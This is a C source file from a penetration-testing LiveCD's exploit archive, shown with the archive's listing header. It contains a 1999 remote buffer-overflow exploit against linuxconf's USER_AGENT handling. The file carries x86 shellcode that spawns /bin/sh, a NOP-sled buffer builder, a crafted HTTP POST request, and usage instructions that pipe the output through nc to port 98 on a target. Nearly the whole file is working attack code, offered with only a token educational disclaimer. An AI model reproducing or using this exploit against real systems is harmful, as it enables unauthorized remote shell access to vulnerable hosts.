home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / im / licq / linexp.c < prev   
C/C++ Source or Header  |  2005-02-12  |  2KB  |  69 lines

  1. /*
  2.  
  3.   linuxconf exploit by R00T-X (c) 1999
  4.  
  5.   USER_AGENT overflow x86
  6.   should work on all linux's but you need to have
  7.   network access to linuxconf
  8.  
  9.   greetz to: j0e, AcidCrunCh, |420|, umm and everyone who knows me, heh :P
  10.  
  11.   have fun with this but for EDUCATIONAL PURPOSES :)
  12.  
  13.   Usage:   (./linexp <offset>;cat)| nc targethost 98
  14.  
  15.  */
  16.  
  17. char shell[] =
  18. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  19. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  20. "\x90\x90\x90\xeb\x3b\x5e\x89\x76\x08\x31\xed\x31\xc9\x31\xc0\x88"
  21. "\x6e\x07\x89\x6e\x0c\xb0\x0b\x89\xf3\x8d\x6e\x08\x89\xe9\x8d\x6e"
  22. "\x0c\x89\xea\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x90\x90\x90\x90"
  23. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  24. "\xe8\xc0\xff\xff\xff/bin/sh\x00";
  25.  
  26. #include <stdio.h>
  27. #include <stdlib.h>
  28. #include <limits.h>
  29. #include <string.h>
  30.  
  31. #define BUFLEN 1025
  32. #define NOP 0x90
  33.  
  34. void
  35. main (int argc, char *argv[])
  36. {
  37.   char buf[BUFLEN];
  38.   int offset,nop,i;
  39.   unsigned long esp;
  40.   char shell[1024+300];
  41.  
  42.   if(argc < 2)
  43.   {
  44.   fprintf(stderr,"usage: (%s <offset>;cat)|nc host.com 98\n", argv[0]);
  45.   exit(0);
  46.   }
  47.  
  48.   nop = 511;
  49.   esp = 0xefbfd5e8;
  50.   offset = atoi(argv[1]);
  51.  
  52.   memset(buf, NOP, BUFLEN);
  53.   memcpy(buf+(long)nop, shell, strlen(shell));
  54.  
  55.   for (i = 256; i < BUFLEN - 3; i += 2)
  56. {    *((int *) &buf[i]) = esp + (long) offset;
  57.      shell[ sizeof(shell)-1 ] = 0;
  58. }
  59.  
  60.  printf("POST / HTTP/1.0\r\nContent-Length: %d, User-agent: \r\n", BUFLEN);
  61.   for (i = 0; i < BUFLEN; i++)
  62.     putchar(buf[i]);
  63.  
  64.   printf("\r\n");
  65.  
  66.   return;
  67. }
  68.  
  69.